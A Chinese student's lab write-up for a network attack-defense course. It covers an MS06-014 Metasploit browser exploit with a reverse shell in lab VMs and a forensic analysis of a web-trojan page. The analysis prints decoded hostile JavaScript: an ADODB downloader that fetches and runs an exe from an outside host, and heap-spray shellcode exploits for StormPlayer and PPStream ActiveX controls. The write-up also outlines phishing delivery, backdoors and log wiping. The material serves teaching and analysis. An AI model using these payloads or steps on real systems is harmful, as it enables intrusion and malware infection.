20221902 2022-2023-2 《网络攻防实践》第十一次作业

本文链接：https://blog.csdn.net/xiannvyeye/article/details/130748735

1.知识点梳理与总结

(1)MS06-014

MS06-014漏洞的全称为“MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)”，该病毒一般通过恶意网页代码的方式进行传播。如果用户没有打过微软MS06-014漏洞补丁，当浏览含有某些恶意代码的网页时，就会感染此病毒，从一些指定的网址中下载病毒、木马程序，被感染的计算机很有可能被黑客远程控制。

(2)MSF模块使用详解

msfconsole进入控制台
确定你要找的漏洞，然后输入search 漏洞名查找相应模块

info查看靶机适用范围

show payloads查看相关载荷
set payload generic/shell_reverse_tcp选择载荷
show options查看相关参数

进行参数配置

set RHOST 192.168.186.137//靶机IP
set LPORT 5313
set LHOST 192.168.186.128//攻击机IP
set target 0

利用辅助模块查看端口是否开启（默认端口为445）

msfconsole//进入控制台
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞模块
set RHOSTS 192.168.186.137 //设置靶机地址
exploit //攻击

exploit侦听

无会话已创建
猜测是使用的漏洞对XP不起作用。应该是XP版本的问题。后面换了WIN SERVER2000成功，详情见任务一。

(3)Web安全渗透测试基本步骤

①信息收集

Web攻击发生前，攻击者必定会对攻击目标进行细致的侦查工作，从而为后续的攻击做准备。对目标网络进行侦查之前，首先要收集汇总各种与目标系统有关的信息，形成对目标网络必要的轮廓认识，并为实施攻击做好准备。信息的收集可以通过以下几种方式进行：DNS域名服务，Finger服务，Whois服务，Nslookup，Ping与PathPing，Tracert等信息查询。

②扫描

端口扫描、操作系统探测、应用服务探测、路由器探测、防火墙探测等。
漏洞发掘类扫描主要有：Web、CGI安全漏洞扫描， Windows、Unix、 Linux等操作系统漏洞扫描，SNMP漏泂扫描、SQL Server等数据库服务漏洞扫描，路由器、防火墙漏洞扫描。
扫描过程实际上已经与目标主机或网络发生物理链接，可以看作是程度较轻的攻击行为。扫描结果决定了攻击者的下一步行动。

扫描要达到的基本目标

确定目标系统是否真实存在；
确定目标系统上都有哪些服务正在运行或监听；
探查操作系统版本。
网络攻击往往寻找最薄弱的地方作为突破口，所以黑客攻击时要尽可能寻找系统存在的漏洞，从而作为攻击的切入点。

③攻击

通过信息收集和扫描阶段得到相关线索以后，经过分析和筹划，下一步就可以采取各种手段以实现直接的攻击目的。

④植入后门

在一次成功的攻击之后，为了以后的再次进入和控制目标主机，一般要放置一些后门程序，由于网络主机系统经常升级，这些原来被利用突破系统的漏洞在系统升级以后就可能被修补，而后门程序就可以不依赖于原来用于突破的漏洞，保持长期稳定的控制能力。

⑤消除痕迹

作为一次完整的Web攻击，黑客在取得需要的战果以后，就要打扫战场了，也就是消除痕迹。在信息收集、扫描、攻击阶段，即使采取了许多防护措施，也会留下直接或间接的攻击痕迹。消除痕迹是一项细心的工作，系统的审计日志、Web的访问记录、防火墙的监控攻击留下的残余线索都必须认真清理。对于一些必须留下的后门程序，需要采取进程隐藏文件隐藏、核心文件替换、程序加密等多种手段避免被发现。

2.实验过程

(1) 利用MS06-014漏洞，实施web浏览器渗透攻击

实验环境

攻击机IP	靶机IP
192.168.194.220	192.168.194.221

进入控制台

msfconsole

查找要使用的漏洞对应的模块

search ms06_014

在这里插入图片描述

对应编号是0，因此，info 0即可查看靶机适用范围，use 0即可使用该模块。

使用该漏洞模块

use 0

查看可用载荷

show payloads

在这里插入图片描述

选择攻击载荷

set payload generic/shell_reverse_tcp

在这里插入图片描述

反向tcp连接，也就是进行主动攻击。

查看需要配置的参数

show options

配置相应参数

在这里插入图片描述

set RHOST 192.168.194.221

在这里插入图片描述

设置完毕，进行渗透攻击

exploit

在这里插入图片描述

生成含有恶意代码的网页链接。

靶机的浏览器访问该链接

在这里插入图片描述

浏览器返回一串字符。

在这里插入图片描述

已经成功创建会话，攻击机获取到靶机控制权。

(2) 取证分析实践—网页木马攻击场景分析

打开 start.html 文件，寻找new09.htm地址

在这里插入图片描述

start.html 文件在引用 new09.htm 文件时没有写绝对路径，所以 new09.htm 文件与 start.html 文件在同一目录下。

查看new09.htm文件内容

在这里插入图片描述

new09.htm 文件中，用 iframe 引用了一个 http://aa.18dd.net/aa/kl.htm 文件，又用 javascript 引用了一个 http://js.users.51.la/1299644.js 文件。

分别作 MD5 散列，计算相应散列值（网址：https://www.cmd5.com/）

在这里插入图片描述

找到相应的解密文件

在这里插入图片描述

分析文件内容

在这里插入图片描述

这显然不是我们所想要的内容，于是打开另一个文件。

在这里插入图片描述

它的内容看起来很复杂，但实际上这是一种被称为 XXTEA+Base64 的加密方法，对付这种加密方法，我们只要找到它的加密密钥就可以。

由倒数第三行可知，密钥为\x73\x63\x72\x69\x70\x74，这是十六进制表示，转换一下，密钥是“script”

在这里插入图片描述

用该密钥解密这个js文件

在这里插入图片描述

得到解密后的结果，发现加密者又用了另一种加密方法，也就是十六进制加密。

对引号内的内容解密

在这里插入图片描述

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

这个文件简直就是一个木马群，利用到的应用程序漏洞有 “Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”，分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件，其危害性可见一斑。另外，这个文件还引用三个 js 文件和一个压缩包(bd.cab，解开后是 bd.exe)。

对“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、 “http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab”作处理

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

得到1.js、b.js、pps.js、bd.cab这四个文件。依次对这些文件进行分析:

1.js

在这里插入图片描述

var url="http://down.18dd.net/bb/014.exe";
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\ntuser.com";
as.savetofile(path,2);
as.close();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
}catch(e){}

这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件，后面部分是对 ADODB 漏洞的继续利用。

b.js

在这里插入图片描述

利用UnPacker工具，对其进行解密（开头的6个函数的参数提示这是一种加密方法：packed）

在这里插入图片描述

var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)
  memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

我们可以看到关键字shellcode，根据参考文件，shellcode是一个下载器，因此需要寻找其中的URL，最后找到的结果为http://down.18dd.net/bb/bf.exe，得到一个可执行文件。

pps.js

在这里插入图片描述

使用的是八进制加密。

解密pps.js

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));

pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0;
 x<400;
 x++) memory[x] = block + shellcode;

var buffer = '';

while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";

pps.Logo = buffer

又是 shellcode，如法炮制，得到了它对应的可执行文件路径：http://down.18dd.net/bb/pps.exe

bd.cab
解压缩，得到一个叫 bd.exe 文件。

将先前的三个文件做 Hash 下载


MD5(http://down.18dd.net/bb/014.exe，32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

于是我们有了四个 exe 文件，即 014.exe，bf.exe，pps.exe，bd.exe。在资源中找到对应的文件，可以发现四个文件的大小相同，进一步对文件内容进行 MD5 散列计算得出结论，这四个文件内容完全相同！那么我们只需要分析其中的任意一个文件即可。

使用IDA反汇编pps.exe

在这里插入图片描述

在string window中发现了20个用于下载exe文件的链接，猜测是用来下载各种木马。

(3) 攻防对抗实践—web浏览器渗透攻击攻防

实验环境

攻击机IP	靶机IP
192.168.194.220	192.168.194.222

在这里插入图片描述

重复任务一的操作，团队合作进行渗透攻击

在这里插入图片描述

将攻击机生成的恶意代码链接通过邮箱发送给靶机，利用社会工程学原理，诱导靶机点击恶意链接

在这里插入图片描述

成功创建会话，攻击机获取到靶机控制权。

分析网页源代码

在这里插入图片描述

发现语句之间隔了很多空格。

对该源代码进行压缩（网址：https://www.bejson.com/jshtml_format/?_t=t）

在这里插入图片描述

该恶意代码调用了document.location运行攻击载荷，并且附加了可执行文件BzbdUrmmRDlfgxRanLOjibldWYQ.exe，这个可执行文件首先会下载到靶机上，完成后会自动运行在靶机的后台，这个文件的名字每次都会改变，进而防止杀毒软件的查杀。

打开靶机的任务管理器

在这里插入图片描述

发现确实有BzbdUrmmRDlfgxR.exe这个进程，估计这就是攻击方用来渗透靶机的病毒程序。

在函数uLdZCTrDBfe()中出现了一串数组

在这里插入图片描述

这是漏洞的ID号。比如说：ID为BD96C556-65A3-11D0-983A-00C04FC29E36的漏洞，就属于MS06-014漏洞。

3.学习中遇到的问题及解决

问题1：无法打开网页

在这里插入图片描述
解决方法：点击连接->重试。

4.学习感悟、思考等

通过本次实验，我深刻认识到了浏览器的许多潜在漏洞和安全风险。同时，我们也学习了一些实际应用的防御技术。
在实验过程中，我还注意到了用户行为对浏览器安全的重要性。良好的网络习惯，如避免点击可疑链接、及时更新浏览器和插件、使用强密码等，都对保护个人信息和减少攻击风险起着至关重要的作用。
总的来说，浏览器安全攻防实践实验为我提供了一个实践和了解浏览器安全的机会。通过这个经历，我更加意识到了网络安全的重要性，并掌握了一些实际的防御技巧，以保护自己和他人的在线安全。